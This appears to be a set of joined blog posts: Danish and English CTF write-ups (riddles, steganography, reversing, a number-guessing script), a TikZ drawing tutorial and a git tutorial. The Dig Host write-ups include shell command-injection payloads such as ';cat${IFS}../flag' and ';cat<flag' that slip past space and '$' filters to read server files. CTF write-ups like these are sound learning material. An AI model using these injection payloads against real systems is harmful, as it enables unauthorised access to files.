───────┬───────────────────────────────────────────────────
       │ File: 25.txt
───────┼───────────────────────────────────────────────────
   1   │ Mississippi has the letters S and I 4 times. 
   2   │ Can you spell that without using S or I? 
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
       │ File: 69.txt
───────┼───────────────────────────────────────────────────
   1   │ What kind of ship has two mates but no captain? 
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
       │ File: 436.txt
───────┼───────────────────────────────────────────────────
   1   │ I can be cracked. I can be made. 
   2   │ I can be told. I can be played. 
   3   │ What am I? 
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
       │ File: 503.txt
───────┼───────────────────────────────────────────────────
   1   │ If You Look At The Numbers On My Face, 
   2   │ You Won't Find 13 Anyplace. 
   3   │ What am I? 
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
       │ File: 778.txt
───────┼───────────────────────────────────────────────────
   1   │ I have married many times, 
   2   │ but have always been single. 
   3   │ Who am I? 
───────┴───────────────────────────────────────────────────
───────┬───────────────────────────────────────────────────
       │ File: 947.txt
───────┼───────────────────────────────────────────────────
   1   │ What type of cheese is made backward? 
───────┴───────────────────────────────────────────────────

Jeg er ikke den bedste til gåder, men mon ikke jeg kan spørge internettet til råds…

Med lidt hjælp fra min ven GPT, har jeg fundet frem til følgende svar:

• “that”
• “courtship”
• “joke”
• “clock”
• “preist”
• “edam”

Efter et par forsøg med at logge ind på FTP serveren med brugeren root og diverse passwords fra gåderne, viser det sig at koden er joke.

Der er nu kun en enkelt fil: root.txt og i den ligger flaget.

Flag: DDC{ridd13_m3_7hi5}

Hr Verdensrund

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Hr. Verdensrund (305, Dalé) dropper snart sin nye single. Hvilket hemmeligheder gemmer han mon på? Og hvofor er der et billede af en pitbull? OG HVORFOR ER DER EN TXT FILE DER HEDDER WHITESPACE?? Og hvad mon whitespace kan bruges til? OG OG hvad er “SNOW” for noget??

Denne opgave indeholder (rigtig) mange referencer til kunstneren Pitbull og hvad der nu ellers hører til.

Vi får en .zip fil, der er password protected, WhiteSpace.txt der indeholder en lyrik til en bunke Pitbull sange, samt noget whitespace efter hver af de første linjer. Samt filen Dalé.jpg der blandt andet indeholder teksten “What is EXIF”, så lad os starte med at se om der skulle gemme sig noget med exiftool

$ exiftool Dalé.jpg
--- afkortet ---
Lens Manufacturer    : Whitepace.txt password: UsherDalle
--- afkortet ---

Udover det standard data der nu ligger i EXIF, er der igen en bunke referencer til Pitbull i andre EXIF entries; “Pitbulls Pitbull”, “ Hr verdensrund, 305, dalle”, “ Voli vodka”.

Efter lidt søgen rundt på nettet, fandt jeg frem til at WhiteSpace.txt må være “krypteret” med SNOW, hvilket der også findes et Kali tool til at bruge: stegsnow

$ stegsnow -C -p UsherDalle WhiteSpace.txt
Album Passoword: Yeah, right, picture that with a Kodak
$ unzip -P "Yeah, right, picture that with a Kodak" HrVerdensrundsNyeTOPHEMMELIGEsingle.zip

Vi får nu adgang til Pitbulls helt nye tophemmelige single, esroM 20WPM, DALÉ og som navnet (læst bagfra) antyder, er det 20WPM morse kode. Det går rimelig tjept, men der findes heldigvis online værktøjer, der kan hjælpe med dette, såsom denne, fra morsecode.world.

Den forsøger at tolke morsekode på det første stykke af filen, hvilket ender ud i noget vrøvl, men det er heldigvis tydeligt hvad morsekoden siger: BIT.LY/3OHLEMG I håbet om ikke at blive hacket, åbnede jeg på linket hvilket fører til en YouTube video.

3 sekunder inde i videoen er der få frames der viser flaget, sammen med nogle billeder af Pitbull (naturligvis).

Flag: HKN{305-V3rDensrUnD}

There are many different ways to draw pictures in TikZ, I will try to cover some of them. The PGF/TikZ Manual covers way more content, and has great examples included.

Getting started

We start by including the TikZ package in the preamble, and loading the optional libraries along with it.

\usepackage{tikz}
\usetikzlibrary{library1, library2}

Some libraries include

• arrows.meta
• calc
• intersections
• mindmap
• positioning
• shapes

TikZ can be used both inline, and as an environment.

Inline

\tikz[options]{commands}

Environment

\begin{tikzpicture}[options]
    commands
\end{tikzpicture}

For this introduction, I will focus on the latter.

Drawing using coordinates

We can draw lines in TikZ from coordinates, specifying the position of the pen, and where to move to next.

\draw (0,0) -- (2,0) -- (2,2) -- cycle;

Specifying --, means the line is drawn directly, and then the next coordinate is given. cycle returns back the origin of the \draw command.

This produces the following figure:

Coordinates can also be given relative to the last one, and with units specified.

\draw (1cm,5mm) -- (-1cm, 50pt) -- ++(2,0);

++(2,0) moves the pen 2 units in the x-direction and 0 in the y-direction, relative to the last position. It’s also possible to use the +(2,0) notation, this also moves relative to the last given coordinate, but does not change the end coordinate of the pen. This means that a square would could be drawn like such:

\draw (-2cm, 1in) -- +(1,0) -- +(1,1) -- +(0,1) -- cycle;

Units can be specified using most of the default LaTeX units.

This can also be simplified, using the rectangle keyword.

\draw (-2cm, 1in) rectangle +(1,1);

Here we specify two diagonally opposite corners, to create an identical square to the previous command, with side lengths 1, originating from (-2cm,1in).

Customizing \draw

The line drawn can be customized using various options for the \draw command.

\draw[blue, very thick, dashed] (0,1) circle (45pt);

The color is specified from the default colors in LaTeX. If xcolor is loaded, it’s also possible to draw in any of these colors (or any other custom set). The thickness is set to some value in the range of ultra thin, very thin, thin (default), semithick, thick, very thick, ultra thick. Lastly, we tell TikZ to make the line dashed. One could also have opted for the dotted option.

The circle itself is draw using a center, the circle keyword, followed by a radius.

The lines drawn can also be changed to arrows, by specifying either ->, <- or <->, depending on which direction it should point.

We see this along with the -| and |- options for connecting coordinates. This makes the line follow the x- and y-axis, instead of drawing a straight line.

\draw[thick, teal, ->]   (0,3pt) -| (1,1.5);
\draw[thick, red, <->]   (1.5,0) |- +(-3,1); 
\draw[thick, blue, <-]   (1.5,0) -| +(-3,1); % same coordinates as above

Returning to our rectangle, we see that this can once again be drawn in a new way:

\draw (0,0) -| (1,1) -| cycle;

This is again done by using the two diagonally opposite corners

Nodes and edges

Nodes are used to draw text on the canvas, and can be placed using coordinates, or a position relative to another object.

We will start by looking at an example, showing some of the functionality of nodes and edges.

\usetikzlibrary{shapes.geometric}
% needed for diamond and star shape

\begin{tikzpicture}
\node[draw, circle]                (a) at (0,1.5)   {$x$};
\node[draw, diamond, red]          (b) at (1.5,1.5) {B};
\node[draw, star, fill=yellow!30]  (c) at (0,0)     {};
\node                              (d) at (1.5,0)   {Node 4};

\draw[violet] (a) -- (b) -- (d);
\draw[->]     (c) -- (b) edge[bend left] (d)
              (a) edge[out=-30, in=-135, thick] (d);
\end{tikzpicture}

Each node is drawn, using the \node command, with options directly after. Then we assign it a name, and a location using coordinates, exactly the same way as when we were drawing previously. Lastly, we write the “content” of the node. This is optional, but can also take comprehensive arguments, like math equations, and stylings of text (like \texttt, and \textbf).

After having placed the nodes, we begin drawing paths between them. We see that this is almost the same as we did earlier, but this time we only specify the node name, instead of coordinates.

To manipulate these edges, we use the edge keyword instead of --, this allows us to customize the behaviour of the specific edge. In the above example, I’ve shown how to bend the edge slightly (node b to d), and how to specify the angle of exit and entry on each node (node a to d).

Furthermore, we also see that this code requires a library to compile. The shape library, contains a lot of more advanced shapes, for us to use.

Positioning

We can also place nodes and edges at the same time. This is useful for describing some edge with text or other graphics.

\usetikzlibrary{positioning}

\begin{tikzpicture}[
blob/.style={draw,circle},
node distance=1cm,
]

\node [blob]                      (1) at (1,1) {1};
\node [blob, above right=of 1]             (2) {2};
\node [blob, right=of 1]                   (3) {3};
\node [blob, below=of 1]                   (4) {4};
\node [blob, below right=1cm and 2cm of 3] (5) {5};

\draw[red] (3.5cm,1.5cm) -- node [above] {1cm} +(1cm,0);

\draw[yellow!20!blue]
(1) -- node[above, sloped]             {1cm} (2)
(1) -- node[above]                     {1cm} (3)
(1) -- node[right]                     {1cm} (4)
(3) -- node[above, sloped]             {$\sqrt{5}$cm} (5)
(3) |- node[above, sloped, near start] {1cm}
       node[below, near end]           {2cm} (5);
\end{tikzpicture}

Here we see some options, loaded in the tikzpicture environment. First we create a new style, named blob, using the /.style= syntax, this style holds the properties draw, circle. We also specify the default distance between nodes, this is used when placing nodes relative to one another.

The positioning library enables us to place nodes this way. We see this, when drawing node 2-5. They are all placed relative to a previously placed node. For node 5, we change the distance, from the default, to 1 cm in the y direction, and 2 cm in the x direction. All of the relative placements are done using the below / above / left / right = of <node/coordinate> syntax. To place node b north west of node a, we write above left=of a in the properties of b.

Note: The x, and y offsets are in opposite order, because we must specify below/above, prior to left/right.

Furthermore, we can choose, where on the path, the node should be, this is done with arguments containing start and end.

Anchors

Every node has anchors, which all refer to a certain point on the node. Previously, when we specified right=10pt of <node>, TikZ sets the distance between the new nodes .west anchor, and <node>.east, to 10 pt.

To illustrate this, we look at one of the examples, from the shapes library.

Here we see that the rectangle holds numerous of values, which can all be referenced. The s.10 and s.130, are both angles, in degrees, and point to some anchor along the edge of the node, corresponding to said angle. Any angle can be used for this (even negative ones, or ones greater than 360).

.center is the center of the node, .mid is the middle of the text, .base is the baseline of the text, and .text is the bottom left corner of the textbox.

Creating a flowchart

Combining all of this, we can create a small flowchart

\usetikzlibrary{shapes, positioning}

\begin{tikzpicture}[
  arrow/.style={thick, ->},
  item/.style={draw, minimum height=.75cm, minimum width=3cm, centered},
  startstop/.style={item, fill=black!30, rounded rectangle},
  process/.style={item, fill=red!30, rectangle},
  check/.style={item, fill=green!30, diamond},
  io/.style={item, fill=blue!30, trapezium, 
    trapezium left angle=70, trapezium right angle=110}
]

\node (start)  [startstop]                                     {Start};
\node (input)  [io, below=of start]                            {Input};
\node (valid)  [process, below=of input]              {Validate input};
\node (check)  [check, below right=.5 and 1.5 of valid] {Is input OK?};
\node (proc)   [process, below=3 of valid]             {Process Input};
\node (output) [io, below=of proc]                            {Output};
\node (end)    [startstop, below=of output]                      {End};

\draw[arrow] (start)  -- (input);
\draw[arrow] (input)  -- (valid);
\draw[arrow] (valid)  |- (check);
\draw[arrow] (proc)   -- (output);
\draw[arrow] (output) -- (end);
\draw[arrow] (check)  |- node[very near start, right] {No} (input);
\draw[arrow] (check.south) -- ++(0, -5pt)
    -| node[above, near start] {Yes} (proc.north);
\end{tikzpicture}

Adding new elements to this is easy, since we have already predefined some symbols to use. Adding the text width=<value> property could be useful, for extensive elements, with lots of text, as this limits the width of the text, before wrapping it.

Summing up

This short introduction only covers a fraction of what TikZ can do. TikZ can also be used to draw graphs, plotting functions (even 3D ones), making mindmaps, visualize just about any type of data, and much, much more. Hopefully this has given you a better understanding of what TikZ can be used for, and of course how it can be used.

The best way to learn it, is to jump right in, and start using it!

Some of these challenges are solved after the CTF was over, as FE has been kind enough to keep the instances running.

All flags have the format flag{ascii range 0x20-0x7e inclusive, except 0x5c and 0x7d}

Note: 0x5c is \, and 0x7d is }.

Web

These challenges were, without doubt, the most solved ones, as they were not very difficult.

Dig Host #1

Tags: web baby's 1st remote
Description:

Heard you like digging, so why not dig for some flags? http://dig-host-1-web.hack.fe-ctf.dk/

We are presented with web interface for using the dig (DNS lookup tool) command.

Entereing t1ng.dk into the client, gives the expected output of as plaintext.

This suggests that we may simply inject another command. We try this by requesting

t1ng.dk ; whoami

Underneath the dig output, we now see user.

Listing the directory (ls), does not yield anything of interest, however the parent directory (ls ..) holds a flag file, which we read by using cat.

; cat ../flag

This gives us the flag.

Flag: flag{do people still use php?}

Dig Host #2

Tags: web remote
Description:

Seems like you are a digxpert! But can you keep up the phase? http://dig-host-2-web.hack.fe-ctf.dk/

The same web UI as the previous challenge, but we are not allowed to write spaces in the command. The spaces are simply removed prior to command execution, meaning it’s not client-side.

A quick web search suggests using ${IFS}, as IFS is a variable that holds whitespace characters.

;cat${IFS}../flag

Flag: flag{who needs to sanitize input anyway?}

Dig Host #3

Tags: web remote
Description:

Fine. This time, you will need more than a shovel to dig up the flag! http://dig-host-3-web.hack.fe-ctf.dk/

Once again we are presented with a web interface for dig, this time spaces are still ignored, as well as parameter expressions, using $.

We can still list the current directory without using spaces, which shows that flag is in the current directory. However, POSIX redirection allows for redirecting input, by using <.

This gives us the command

;cat<flag

Flag: flag{it's not bug, it's a feature}

Reversing

LibNotFound

Tags: rev baby's 1st local
File: Download
Description:

Fixme, please

We get a binary file, which does not run, but instead gives an error

$ ./challenge
./challenge: error while loading shared libraries: libnotfound.so: cannot open shared object file: No such file or directory

.so files are shared objects from the C language, which can be compiled seperately, to be included at runtime. It looks as though we will have to write our own shared object.

To compile it, we use gcc.

$ gcc -shared -o libnotfound.so -fPIC libnotfound.c

Let’s create a basic file, and compile it.

int main(void) {
    return 0;
}

To include a local library, after the binary (challenge) has been compiled, we include the library path in an environment variable named LD_LIBRARY_PATH.

$ LD_LIBRARY_PATH=${pwd}
$ export LD_LIBRARY_PATH
$ ./challenge
./challenge: symbol lookup error: ./challenge: undefined symbol: foo_add

So we try to write the function foo_add ourselves. Judging by the name, it would be logical, to make the function return the sum of two inputs.

int foo_add(int a, int b) {
    return a + b;
}

Recompile and try to run the binary again, only to find that we also need to write the function foo_sub. Again, declare a function, and make it return the difference between a and b.

This pattern repeats for foo_mul, foo_div and foo_mod.

Eventually, we end up with the following file.

int foo_add(int a, int b) { return a + b; }
int foo_sub(int a, int b) { return a - b; }
int foo_mul(int a, int b) { return a * b; }
int foo_div(int a, int b) { return a / b; }
int foo_mod(int a, int b) { return a % b; }

Finally, compiling this and running challenge again gives

$ ./challenge
flag{hello? yes, this is flag}

Flag: flag{hello? yes, this is flag}

Snake Jazz

Tags: rev local
File: Download
Description:

You love it? It’s snake jazz!

We are presented with two files, magic.py and runme.py. magic.py contains some kind of class, that seems to have been modified to make it as non-inuitive as possible. runme.py imports the magic file, and then does some mystery stuff, to represented by underscores _, plus-signs + and minus-signs -.

Runinng runme.py gives the following output

$ ./runme.py
                      .
                        `:.
                          `:.
                  .:'     ,::
                 .:'      ;:'
                 ::      ;:'
                  :    .:'
                   `.  :.
          _________________________
         : _ _ _ _ _ _ _ _ _ _ _ _ :
     ,---:".".".".".".".".".".".".":
    : ,'"`::.:.:.:.:.:.:.:.:.:.:.::'
    `.`.  `:-===-===-===-===-===-:'
      `.`-._:                   :
        `-.__`.               ,'
    ,--------`"`-------------'--------.
     `"--.__                   __.--"'
            `""-------------""'

Please enter key:

After trying to enter some key, the program prints “sadpanda.jpg”, and then exits.

I initially looked at this code, and thought to myself, that there is no way that I am going to be able to solve this challenge. But coming back to it later, helped me a lot.

The key part of the program is the last two lines of the magic.py file:

for i in range(1, 100):
    setattr(sys.modules['__main__'],'_'*i,X(3**i))

What this does, is set the attribute '_'*i of __main__ (in this case runme.py), to the object X(3**i). This means that attributes ranging from a single underscore, up to 100 underscores, are callable, and contain an object.

So the obfuscated code in runme.py, is actually different objects, thrown around to generate the text output (and hiding the flag somewhere). Investigating the code, also shows that no object is larger than six underscores, ______, meaning the loop actually only needs to run for range(1, 7).

After this I started to look deeper into the code, and try to understand how it was run, and how the different objects reacted with one another. I made some comprehensive comments on big parts of the code, to get a better understanding of how it works.

In the end, I realized that all this might actually not be necesarry for me to retrieve the flag. Instead I started looking at the internal values, after the user inputs the key.

All the “magic” happens in the __del__ method, which is run when the object goes out of scope. There is a lot of obfuscation going on, and I didn’t understand much of it, but one thing was clear, the interesting part was here:

elif a==18:
    y[b]=ord(sys.stdin.read(1))
elif a==19:
    sys.stdout.write(chr(y[b]));sys.stdout.flush()

As this is where the user input is handled (a==18) and program output is written (a==19).

All of this code, is run inside a while-loop, defined by

while 3**y[8]<x.a:

Here x is self. Printing x.a gives an unreasonably large number, and looking it up on factordb.com reveals that it’s actually equal to \(3^{6867} \approx 2.464 \times 10^{3267}\). Therefore I think it’s safe to assume, that this condition is always true, making the loop run infinitely. This also makes sense, as the program is terminated at the a==0 condition instead.

if a==0:
    os._exit(0)

I ended up implementing some logic to only print the variables, after the ascii art had been printed and the user had been prompted for a key. Then, however, I printed everything I could think of, for each iteration of the while loop, specifically

print(y, a, b, c, d, z)

Where y is an array and the rest are integers.

I then started experimenting with different inputs, namely flag and flac. To see if I could spot the difference in the output. Thankfully, the website text-compare.com, provides excellent support for showing the exact difference between two texts.

Here, it becomes clear that our input value, is stored in the array, on the 4th index, and the comparison is made between it, and the 3rd index. This also means, that we can look forward, one character at a time, by looking at the 3rd index.

Being the noob that I am, I did not create any script to create the flag for me, but instead I manually printed the value each time, and appanded the new character to the flag (key) each time. The character conversion is done fairly easily though, using chr(y[3]).

Finally, I ended up with the following key:

$ echo "flag{it's, it's a device Morty"'!'"}" | ./runme.py
                      .
                        `:.
                          `:.
                  .:'     ,::
                 .:'      ;:'
                 ::      ;:'
                  :    .:'
                   `.  :.
          _________________________
         : _ _ _ _ _ _ _ _ _ _ _ _ :
     ,---:".".".".".".".".".".".".":
    : ,'"`::.:.:.:.:.:.:.:.:.:.:.::'
    `.`.  `:-===-===-===-===-===-:'
      `.`-._:                   :
        `-.__`.               ,'
    ,--------`"`-------------'--------.
     `"--.__                   __.--"'
            `""-------------""'

Please enter key: Correct!

Note: the formatting of the echo string is weird, as ! is interpreted as a command, when used in double quotes, but the flag itself contains single quotes.

I still have no idea how this challenge was made, and I am truely fascinated by the logic beheind it.

Flag: flag{it's, it's a device Morty!}

Miscellaneous

Guessing Game

Tags: OMGACM, remote
Description:

Running at guess.hack.fe-ctf.dk:1337

Connecting to the host shows the following message

$ nc guess.hack.fe-ctf.dk 1337
== proof-of-work: disabled ==
 == Welcome to Number Guess ==

I'm thinking of a number between 0 and 4000000 (both inclusive); try and guess which!
You have 99 guesses.  But! You're only allowed to guess too high 3 times.

Good luck!


Round #0
Your guess:

This looks to be a logic / programming task. The task is to evenly distribute guesses, gradually getting closer to the actual number, without guessing over more than 3 times.

This is a common programming challenge, known as “the egg problem”. I highly recommend reading the linked blogpost, as it explains the concept very well.

To see how how big a number we can guess correct every time, given the constraints \(t=99\), and \(n=4\) we will look at the following

def d1(t):
    return t

def d2(t):
    return 1 + d1(t - 1) + d2(t - 1) if t > 0 else 0

def d3(t):
    return 1 + d2(t - 1) + d3(t - 1) if t > 0 else 0

def d4(t):
    return 1 + d3(t - 1) + d4(t - 1) if t > 0 else 0

print(d4(99))

\(d_4(99) = 3926175\), meaning as long as the random number is not bigger than this, we will be able to guess it, that is \(\frac{3926175}{4000000} \approx 98.15\%\) of the time.

Had we had 100 tries instead of 99, then it would be possible to guess the number correctly every time, as \(d_4(100) = 4087975\).

To implement this, I created a get_guess function, that calls the correct function, based on n.

def get_guess(t, n):
    if n == 3:
        return 1 + d3(t-1)
    if n == 2:
        return 1 + d2(t-1)
    if n == 1:
        return 1 + d1(t-1)
    if n == 0:
        return 1

After this, it’s just a matter of writing a short script, for interacting with the server, and incrementing / decrementing the correct variables. At initialization, the following variables are declared.

runs = 1
guess = 0
guesses = 99
wrong = 3

Then, at each iteration, we calculate how much we should increase our guess with

step = get_guess(guesses, wrong)

And we decrement guesses with 1.

We then guess guess + step. If the guess is too high, we decrement wrong with 1. And if the guess is too low, we increment guess with step.

If guesses reaches 0, we simply reset all the variables and try again.

After some testing, I have found that this solution, guesses the number on the 50th guess every time (not that random after all, huh). However, sometimes the server resets the connection, throwing an EOFError, which I could not find a way around (so instead I simply create a new connection). Furthermore, the server often sends “Round #0”, in the middle of the guessing, meaning we have to start over, which also would explain why guessing correctly takes that many tries.

My full implementation can be found here, (requires pwntools to be installed).

$ # pip install pwntools
$ ./guess.py
-- output omitted --
flag{this has many real-life applications}

Flag: flag{this has many real-life applications}

Relevant xkcd (1597) for reference.

Collaboration

Where Version Control Systems really shine, is when you start to collaborate on projects. Git has some neat features to help keep your code organized.

.gitignore

Some files or directories are temporary or contain secrets, which are not meant for publication on your repository. Thus, we can tell git to automatically ignore these files, using a .gitignore file.

This file contains a list of all the patterns in file or directory names we wish to ignore when staging files.

Let’s look at an example - lines starting with # are comments, and not evaluated.

# ignore any .tmp files
*.tmp

# ignore anything starting with secret
secret*

# ignore any directory or file named hidden
hidden

# ignore anything inside the docs directory.
docs/

# but include docs/important.txt despite the above rule
!docs/important.txt

# ignore anything named a inside of directory b (works recursively)
b/**/a

Notes

• Any entry containing a slash (/), the path is relative to the .gitignore file itself.
• A single asterisk * only expands filenames, but not multiple directories.
• To expand directory names, use double asterisks **.
• A question mark ? matches a single character (except /).
• Regex-like ranges can be used [1-9], [a-zA-Z].

Lastly, if you want to add a file, despite it being ignored, use the -f/--force option when staging files.

git add -f secret.txt

A pre-written .gitignore file for almost any language you could imagine can be found on github/gitignore.

Submodules

Submodules allows for git repositories to be included inside of your main repository.

Say I want my sweet Tinggaard/pathfindig repository cloned inside of an existing repository, as I have some code that depends on it.

git submodule add git@github.com:Tinggaard/pathfinding [target-path]

This command creates a new file: .gitmodules. Furthermore it cretes a the directory pathfinding/, unless another path has been specified.

To specify a branch run the command with the -b option, proceeded by the branch name.

Note: text in brackets ([]) are optional arguments, and text in angle brackets (chevrons) (<>) are placeholders for a value that must be given.

When cloning a repo with submodules, these submodules can be initialized automatically using the --recurse-submodules option.

git clone --recurse-submodules https://example.com/git-repo.git

To update submodules (defaults to all submodules, unless told otherwise), we use.

git submodule update --remote [submodule-path]

Git uses the default branch for submodules, unless told otherwise. Specifying anyther branch using the .gitmodules file, means this branch will also be the branch used for anyone else cloning the main repository.

To checkout the assignment branch of the pathfinding submodule after having added it, we use the following.

git submodule set-branch -b assignment -- pathfinding

Submodules are not the cleanest way of sourcing other repositories. If possible, always opt for using other modules, using some kind of package manager, instead of including the entire source. Submodules does not update dynamically across branches, meaning if one branch has a submodule, and another does not, you will have to remove the directory and re-update it every time you switch branch.

Forking

Forking is used to create a copy of a repository, And make yourself the owner instead. This is useful, when you have some feature you want implemented on the project.

Note: Forking is not a feature of git itself, but rather of GitHub, allowing for you to have your own repository, identical to the one forked.

The main purpose of forking, is for implementing some feature, and then creating a Pull Request of the original repository. It can also be used, for creating your own version of the project, like how neovim is a fork of vim.

On GitHub, forking can be done by clicking the “Fork” button on the upper right corner of the repository, or adding /fork to the end of the base URL of the repo.

Tagging

Tags are pointers to a certain point in the projects history, and can be seen as a way to version your code.

There are two types of tags, lightweight and annotated.

A lightweight tag is a basic pointer to a specific commit, and nothing else. Whereas an annotated tag is a git object containing a tagger name, email and date, furthermore an annotated tag can be signed using GPG (more on that later). It is recommended to create annotated tags, unless it’s a temporary tag.

Lightweight tagging is done, using the git tag command.

git tag v1.0

Here, HEAD is marked with the lightweight tag v1.0.

Creating an annotated tag is done, using the -a flag.

git tag -a v1.1 -m "Version 1.1"

As with commits, a message must be included for annotated tags.

To tag a previous commit (not HEAD), simply specify the commit checksum (or at least part of it) after the command.

git tag -a v0.1 -m "Version 0.1" e287fa6

To delete a tag again, we use the -d option.

git tag -d v0.1

A list of all tags can be retrieved, by running the tag command without any arguments.

git tag

To show detailed information about a specific tag, we run

git show v1.0

Git does not automatically push tags, we have to explicitly tell to either push a specific tag, or all tags.

git push origin v1.1
# or push all tags
git push origin --tags

Deleting a tag locally does not delete it on the remote, again, we need to specify

git push origin --delete v0.1

A specific tag can be checked out, like checking out a commit (as it’s simply a pointer to such commit)

git checkout v1.1

Remark: Checking out previous tags will result in a detached HEAD state, meaning new commits from here, does not belong to any branch, and will thus be lost. To counter this we have to create a branch pointer to the commit/tag.

git switch -c bugfix v0.1

This command creates a new branch based on the commit from v0.1 , and switches to it.

Co-Authoring

It’s possible to have multiple authors for a single commit.

This is done, by adding two newlines at the end of the commit message, followed by the other commiters name and email.

# note how the quote is not closed until the last line.
git commit -m "Changed stuff
>
>
>Co-authored-by: name <email@domain.com>"

To add another co-author, simply add another entry, before closing the commit message quote.

History

We will now look at some neat commands for viewing the history of our git project.

log

The most basic command is

git log

This shows the commit log, along with some basic information about each commit.

This command has a lot of options available, depending on how you wish to format and filter the output. I will only cover some of the basic options here.

These commands can of course be combined, like such

git log --oneline --graph

Git can also show a range of commits, using the dot notation.

git log commit1..commit2
# or
git log branch1..branch2

This will show all the commits made since 1 up until 2.

diff

diff is used to tell exactly which changes has been made between two different stages of the project.

In it’s simplest form, it shows the difference between HEAD and the current working tree.

git diff

But we can also specify a range (commits, branches, tags) to diff.

git diff master..development

Lastly, if the changes themselves are irrelevant, but we only need to see which files have changes and not what have changed, we pass the --name-only argument. Similarly, --stat shows how many lines have been added and deleted for each file, like in git log.

Security

We will now look at some features for maintaining the integrity of your git user.

SSH

Instead of storing your GitHub credentials locally, creating an SSH key, allows for private repositories to be accessed without compromising on security.

Note: If you are using Windows, make sure to run the following commands in Git Bash, that came along with your installation of git.

To generate a new key

ssh-keygen -t ed25519 -C "email@domain.com"

The -C option is simply a comment, for you to distinguish this key (like an email).

The above command generates a key, and asks for a place to save it to (default should be fine). And lastly a passphrase for the key, which is not mandatory.

Now, we have to tell the SSH agent about our key.

eval "$(ssh-agent -s)"

ssh-add ~/.ssh/id_ed25519

We will now add the key to GitHub.

Copy the output of the following command to you clipboard.

cat ~/.ssh/id_ed25519.pub

This is the public key.

Now, open your settings on your GitHub profile, related to SSH and GPG keys, and click “New SSH key”

Or simply follow this link: https://github.com/settings/ssh/new.

Paste the key into the “key” box, and give your key a proper name, such as the device your created it on, and click “Add SSH key”.

To test your new key, run the following command.

ssh -T git@github.com

Which should tell you that you have authenticated as your user.

GPG

In a previous blogpost I covered how to do some basic tasks using GPG. If you don’t know, GPG is a cryptographic standard for encrypting, signing and verifying. If you have not heard about GPG before, I would recommend you go and read the post now.

Adding a GPG key to git (and GitHub) allows us to verify that our commits and tags are actually our work. This is another security measure, as git allows us to change the author of commits (see jayphelps/git-blame-someone-else), we now have more integrity, by signing our commits.

We will start of by telling git about our GPG key. First, we list our secret keys.

gpg --list-secret-keys --keyid-format=long

Copy the key ID of the key you wish to use, and use it in the following command.

git config --global user.signingkey <keyid>

Now, we only need to tell GitHub that this key belongs to us, by adding the publickey in the settings, like we did with the SSH key.

gpg --export --armor email@domain.com

Navigate here: https://github.com/settings/gpg/new and paste the key from the above command.

Now, next time you commit, you can sign the commit, by passing the -S/--gpg-sign option.

git commit -S -m "Yay, this commit is signed"

Signing a tag, is almost the same, except the “s” is lowercase.

git tag -s v2.0 -m "Version 2 - signed"

Both of these two types of signed work can also be verified.

# verify a single commit
git verify-commit 32d9e71
# verify all commits shown in git log
git log --show-signature
# veify tag
git tag -v v2.0

Note: In order to verify a signature, you need to have the signing key in your keyring.
For any GitHub user, their publickeys can be found at https://github.com/username.gpg

Git can also be set up to automatically sign your commits

git config --global commit.gpgsign true

Now any commit you create, will be signed by the key set previously. To only change these settings for a single repository, omit the --global flag from any of the config commands.

Nice to know

Lastly I’d like to show you some the “nice to knows” when working with git.

Stashing

Stashing your work is a godsend, for when you started working on one branch and find out your code actually should be put in another. Or when you simply want to switch branch to change or view some stuff, but your current work is not ready to be committed just yet.

Stashing stores all of your unsaved work, and leaves your working directory clean (as HEAD).

git stash

This means you can now saftely switch branch, as git does not complain that you have unsaved work.

Note: by default stashing only saves tracked files, to also include untracked files, add the -u flag.

List all stashes

git stash list

To apply the most recent stash (add --index to also reapply the index).

git stash apply

To apply a specific stash, pass it’s name (note how the indexing starts at 0).

git stash apply 2

Delete the stash, now that it’s applied

git stash drop 2

There is a shorthand for applying and dropping a stash in one command (defaults to 0)

git stash pop [stash]

Or if you wish to create a branch from a stash

git stash branch <branch name>

Stashing is really handy for quickly switching braches, and jumping back to continue working.

Aliases

Git allows for alias creation, so you can optimize your workflow even more!

Let’s say I want git sw to be a shorthand for git switch, I simply write out.

git config --global alias.sw switch

Some other neat aliases include

# shorthand
git config --global alias.ci commit
# shorthand
git config --global alias.st status
# unstage a file
git config --global alias.unstage 'restore --staged --' 
# last commit
git config --global alias.last 'log -1 HEAD' 
# pretty graph log
git config --global alias.logbr 'log --oneline --graph'
# fancy branch viewer
git config --global alias.br 'branch --format="%(HEAD) %(color:yellow)%(refname:short)%(color:reset) - %(contents:subject) %(color:green)(%(committerdate:relative)) [%(authorname)]" --sort=-committerdate'

Or if you are bad at coming up with good commit messages, for your private projects.

git config --global alias.yolo '!git commit -m "$(curl -s whatthecommit.com/index.txt)"'

- From ngerakines/commitment

Git backend

Git works by saving everything as an object, compressing it, and storing it as the SHA-1 checksum of itself. This way, git only needs a pointer to the latest commit, to be able to backtrack everything. The three types of objects are:

• blob - A file
• tree - A directory listing of files (blob) and directories (tree), and their associated hash
• commit - Information about the commit, including root tree, parent commit, author, committer, and commit message

All of this data is stored in the .git directory at the root of the project. Since everything in git is referenced by it’s checksum, it’s also impossible to change any content, without git knowing about it. And since all commits are referenced backwards, git ensures integrity all the way through - it’s part of the building blocks of git.

For a more in-depth of the internals of git, I highly recommend you read Chapter 10.2 of the git book.

Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.

- git’s front page

The basics

Git is a widely used version control system, with really powerful capabilities, but it can easily be confusing to use, if you don’t know what you’re doing.

Git works by creating snapshots of the current state of all files, every time you commit. This also means that for larger projects you do not need to calculate mutliple diff’s on the same file over and over. What this also means is that git does not rely on a remote server to do the calculations for you, since everything is stored in the .git directory. This makes it possible to work offline as well, as opposed to some other VCS’s.

To initialize a repository

git init project-name

If this is your first ever using git, you first have to tell git who you are.

git config --global user.name "Tinggaard"
git config --global user.email t1ng@t1ng.dk

Staging files

After making changes, add files or whole directories to the staging area, meaning their changes will be reflected in the next commit.

To add all Rust source files (.rs ending), inside the src/ directory, along with .gitignore run

git add src/*.rs .gitignore

Or if you are daring, add everything, by passing the -A/--all flag.

git add -A

To verify the current status of the staging area, before committing, status is used.

git status

The above command also shows if you have any local commits, that are not yet pushed to any remotes, or likewise if you are behind any remote.

Note: If changes are made to a staged file, before committing, they will not be added to the commit, as the file has to be re-added. Otherwise the newest changes will not be added.

The git book also has a really great graphic, demonstrating the state of files.

Committing changes

